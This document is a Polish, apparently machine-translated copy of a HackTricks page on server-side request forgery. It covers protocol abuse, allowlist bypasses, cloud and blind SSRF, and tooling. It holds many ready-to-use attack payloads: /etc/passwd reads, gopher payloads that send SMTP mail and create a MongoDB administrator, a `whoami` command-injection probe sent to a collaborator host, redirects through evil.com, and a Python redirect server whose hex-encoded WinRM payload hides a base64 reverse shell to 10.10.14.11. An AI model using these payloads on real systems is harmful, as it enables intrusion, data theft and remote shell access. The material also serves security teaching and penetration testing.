SSRF (Server Side Request Forgery)

Reading time: 25 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Wrażliwość Server-side Request Forgery (SSRF) występuje, gdy atakujący manipuluje aplikacją po stronie serwera, aby wysyłała żądania HTTP do wybranej przez niego domeny. Ta wrażliwość naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.

Przechwytywanie SSRF

Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez Ciebie. Aby przechwycić interakcję HTTP lub DNS, możesz użyć narzędzi takich jak:

Ominięcie dozwolonych domen

Zazwyczaj stwierdzisz, że SSRF działa tylko w niektórych dozwolonych domenach lub URL. Na poniższej stronie znajdziesz kompilację technik, aby spróbować obejść tę listę dozwolonych:

URL Format Bypass

Ominięcie przez otwarty przekierowanie

Jeśli serwer jest poprawnie zabezpieczony, możesz obejść wszystkie ograniczenia, wykorzystując Otwarty Przekierowanie wewnątrz strony internetowej. Ponieważ strona internetowa pozwoli na SSRF do tej samej domeny i prawdopodobnie będzie śledzić przekierowania, możesz wykorzystać Otwarty Przekierowanie, aby serwer uzyskał dostęp do wewnętrznych zasobów.
Przeczytaj więcej tutaj: https://portswigger.net/web-security/ssrf

Protokoły

  • file://
  • Schemat URL file:// jest odniesiony, wskazując bezpośrednio na /etc/passwd: file:///etc/passwd
  • dict://
  • Schemat URL DICT jest opisany jako wykorzystywany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Podany przykład ilustruje skonstruowany URL celujący w konkretne słowo, bazę danych i numer wpisu, a także przypadek skryptu PHP, który może być potencjalnie nadużyty do połączenia z serwerem DICT przy użyciu danych uwierzytelniających dostarczonych przez atakującego: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Zidentyfikowany jako protokół do bezpiecznego transferu plików przez bezpieczny shell, podano przykład ilustrujący, jak skrypt PHP może być wykorzystany do połączenia z złośliwym serwerem SFTP: url=sftp://generic.com:11111/
  • TFTP://
  • Protokół Trivial File Transfer, działający przez UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysyłania żądania do serwera TFTP. Żądanie TFTP jest wysyłane do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Ten segment dotyczy Lightweight Directory Access Protocol, podkreślając jego zastosowanie do zarządzania i uzyskiwania dostępu do rozproszonych usług informacji katalogowych przez sieci IP. Interakcja z serwerem LDAP na localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Opisano metodę wykorzystywania wrażliwości SSRF do interakcji z usługami SMTP na localhost, w tym kroki do ujawnienia wewnętrznych nazw domen oraz dalsze działania dochodzeniowe na podstawie tych informacji.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - omijanie WAF
  • Jeśli SSRF jest wykonywane przez curl, curl ma funkcję zwaną URL globbing, która może być przydatna do omijania WAF. Na przykład w tym opisie możesz znaleźć ten przykład dla przechodzenia ścieżki za pomocą protokołu file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Omówiono zdolność protokołu Gopher do określania IP, portu i bajtów do komunikacji z serwerem, a także narzędzia takie jak Gopherus i remote-method-guesser do tworzenia ładunków. Ilustrowane są dwa różne zastosowania:

Gopher://

Korzystając z tego protokołu, możesz określić IP, port i bajty, które chcesz, aby serwer wysłał. Następnie możesz zasadniczo wykorzystać SSRF do komunikacji z dowolnym serwerem TCP (ale musisz najpierw wiedzieć, jak rozmawiać z usługą).
Na szczęście możesz użyć Gopherus do tworzenia ładunków dla kilku usług. Dodatkowo, remote-method-guesser może być użyty do tworzenia gopher ładunków dla usług Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Powrót do 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Utwórz użytkownika o nazwie użytkownika=admin z hasłem=admin123 i z uprawnieniami=administrator

bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF poprzez nagłówek Referrer i inne

Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer, aby śledzić przychodzące linki, co niezamierzenie naraża aplikacje na podatności typu Server-Side Request Forgery (SSRF). Dzieje się tak, ponieważ takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer, aby analizować treść stron referencyjnych. Aby odkryć te podatności, zaleca się użycie wtyczki Burp Suite "Collaborator Everywhere", która wykorzystuje sposób przetwarzania nagłówka Referer przez narzędzia analityczne do identyfikacji potencjalnych powierzchni ataku SSRF.

SSRF poprzez dane SNI z certyfikatu

Błędna konfiguracja, która może umożliwić połączenie z dowolnym zapleczem poprzez prostą konfigurację, jest ilustrowana przykładem konfiguracji Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio wykorzystywana jako adres backendu. Ta konfiguracja naraża na podatność na Server-Side Request Forgery (SSRF), która może być wykorzystana poprzez po prostu określenie żądanego adresu IP lub nazwy domeny w polu SNI. Przykład wykorzystania do wymuszenia połączenia z dowolnym backendem, takim jak internal.host.com, przy użyciu polecenia openssl podano poniżej:

bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget file upload

SSRF z wstrzyknięciem poleceń

Może warto spróbować ładunku takiego jak: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderowanie PDF

Jeśli strona internetowa automatycznie tworzy PDF z informacjami, które podałeś, możesz wstawić trochę JS, które zostanie wykonane przez twórcę PDF (serwer) podczas tworzenia PDF i będziesz mógł wykorzystać SSRF. Znajdź więcej informacji tutaj.

Od SSRF do DoS

Utwórz kilka sesji i spróbuj pobrać duże pliki, wykorzystując SSRF z sesji.

Funkcje PHP SSRF

Sprawdź następującą stronę w poszukiwaniu podatnych funkcji PHP, a nawet Wordpress:

PHP SSRF

SSRF Przekierowanie do Gopher

Do niektórych exploitów może być konieczne wysłanie odpowiedzi z przekierowaniem (potencjalnie w celu użycia innego protokołu, takiego jak gopher). Tutaj masz różne kody w Pythonie, aby odpowiedzieć z przekierowaniem:

python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Źle skonfigurowane proxy do SSRF

Triki z tego posta.

Flask

Wrażliwy kod proxy Flask
python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
app.run(threaded=False)

Flask pozwala używać @ jako znaku początkowego, co pozwala na uczynienie początkowej nazwy hosta nazwą użytkownika i wstrzyknięcie nowej. Żądanie ataku:

http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Wrażliwy kod:

Odkryto, że możliwe jest rozpoczęcie ścieżki żądania od znaku ;, co pozwala następnie użyć @ i wstrzyknąć nowy host do dostępu. Żądanie ataku:

http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Wbudowany Serwer WWW

Vulnerable PHP code
php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

PHP pozwala na użycie znaku * przed ukośnikiem w ścieżce URL, jednak ma inne ograniczenia, takie jak to, że może być używany tylko dla ścieżki głównej / oraz że kropki . nie są dozwolone przed pierwszym ukośnikiem, więc konieczne jest użycie adresu IP zakodowanego w formacie hex bez kropek, na przykład:

http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Jeśli masz problemy z ekstrahowaniem treści z lokalnego IP z powodu CORS/SOP, DNS Rebidding może być użyty do obejścia tego ograniczenia:

CORS - Misconfigurations & Bypass

Zautomatyzowane DNS Rebidding

Singularity of Origin to narzędzie do przeprowadzania ataków DNS rebinding. Zawiera niezbędne komponenty do ponownego powiązania adresu IP nazwy DNS serwera atakującego z adresem IP maszyny docelowej oraz do dostarczania ładunków atakujących w celu wykorzystania podatnego oprogramowania na maszynie docelowej.

Sprawdź również publicznie działający serwer w http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Wymagania:

  • SSRF
  • Wychodzące sesje TLS
  • Rzeczy na lokalnych portach

Atak:

  1. Poproś użytkownika/bota o dostęp do domeny kontrolowanej przez atakującego
  2. TTL DNS wynosi 0 sek (więc ofiara wkrótce sprawdzi IP domeny ponownie)
  3. Tworzona jest połączenie TLS między ofiarą a domeną atakującego. Atakujący wprowadza ładunek wewnątrz Session ID lub Session Ticket.
  4. Domena rozpocznie nieskończoną pętlę przekierowań przeciwko sobie. Celem tego jest zmuszenie użytkownika/bota do dostępu do domeny, aż ponownie wykona żądanie DNS tej domeny.
  5. W żądaniu DNS podawany jest prywatny adres IP teraz (na przykład 127.0.0.1)
  6. Użytkownik/bot spróbuje przywrócić połączenie TLS i w tym celu wyśle Session ID/Ticket ID (gdzie zawarty był ładunek atakującego). Gratulacje, udało ci się poprosić użytkownika/bota o atak na siebie.

Zauważ, że podczas tego ataku, jeśli chcesz zaatakować localhost:11211 (memcache), musisz sprawić, aby ofiara nawiązała początkowe połączenie z www.attacker.com:11211 (port musi być zawsze ten sam).
Aby przeprowadzić ten atak, możesz użyć narzędzia: https://github.com/jmdx/TLS-poison/
Aby uzyskać więcej informacji, zapoznaj się z prezentacją, w której ten atak jest wyjaśniony: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Różnica między ślepym SSRF a nieslepym polega na tym, że w ślepym nie możesz zobaczyć odpowiedzi na żądanie SSRF. W związku z tym jest to trudniejsze do wykorzystania, ponieważ będziesz mógł wykorzystać tylko dobrze znane podatności.

Czasowy SSRF

Sprawdzając czas odpowiedzi z serwera, może być możliwe ustalenie, czy zasób istnieje, czy nie (może zajmuje więcej czasu uzyskanie dostępu do istniejącego zasobu niż do zasobu, który nie istnieje)

Od ślepego do pełnego wykorzystywania kodów statusu

Zgodnie z tym postem na blogu, niektóre ślepe SSRF mogą wystąpić, ponieważ nawet jeśli docelowy URL odpowiada kodem statusu 200 (jak metadane AWS), te dane nie są poprawnie sformatowane i dlatego aplikacja może odmówić ich wyświetlenia.

Jednakże stwierdzono, że wysyłając niektóre odpowiedzi przekierowujące od 305 do 309 w SSRF, może być możliwe, aby aplikacja podążała za tymi przekierowaniami, wchodząc w tryb błędu, który nie będzie już sprawdzał formatu danych i może je po prostu wydrukować.

Serwer python użyty do wykorzystania tego to:

python
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Kroki:

  • Najpierw 302 powoduje, że aplikacja zaczyna podążać.
  • Następnie otrzymuje 305 → 306 → 307 → 308 → 309 → 310.
  • Po 5. dziwnym kodzie PoC w końcu zwraca 302 → 169.254.169.254 → 200 OK.

Co się dzieje wewnątrz celu:

  • libcurl sam w sobie podąża za 305–310; po prostu normalizuje nieznane kody do „podążaj”.
  • Po N dziwnych przekierowaniach (≥ 5 tutaj) własny wrapper aplikacji decyduje, że „coś jest nie tak” i przełącza się w tryb błędu przeznaczony do debugowania.
  • W tym trybie zrzuca cały łańcuch przekierowań oraz końcowe ciało z powrotem do zewnętrznego wywołującego.
  • Wynik: atakujący widzi każdy nagłówek + metadane JSON, misja zakończona.

Zauważ, że to jest interesujące, aby ujawniać kody statusu, których wcześniej nie mogłeś ujawniać (jak 200). Jednak jeśli w jakiś sposób mógłbyś również wybrać kod statusu odpowiedzi (wyobraź sobie, że możesz zdecydować, że metadane AWS odpowiadają kodem statusu 500), mogą istnieć kody statusu, które bezpośrednio ujawniają treść odpowiedzi.

Eksploatacja SSRF w chmurze

Jeśli znajdziesz lukę SSRF w maszynie działającej w środowisku chmurowym, możesz być w stanie uzyskać interesujące informacje o środowisku chmurowym, a nawet dane uwierzytelniające:

Cloud SSRF

Platformy podatne na SSRF

Kilka znanych platform zawiera lub zawierało luki SSRF, sprawdź je w:

SSRF Vulnerable Platforms

Narzędzia

SSRFMap

Narzędzie do wykrywania i eksploatacji luk SSRF

Gopherus

To narzędzie generuje ładunki Gopher dla:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser to skaner luk Java RMI, który wspiera operacje ataku dla najczęstszych luk Java RMI. Większość dostępnych operacji wspiera opcję --ssrf, aby wygenerować ładunek SSRF dla żądanej operacji. Razem z opcją --gopher, gotowe do użycia ładunki gopher mogą być generowane bezpośrednio.

SSRF Proxy

SSRF Proxy to wielowątkowy serwer proxy HTTP zaprojektowany do tunelowania ruchu HTTP klientów przez serwery HTTP podatne na Server-Side Request Forgery (SSRF).

Aby ćwiczyć

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

Odniesienia

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks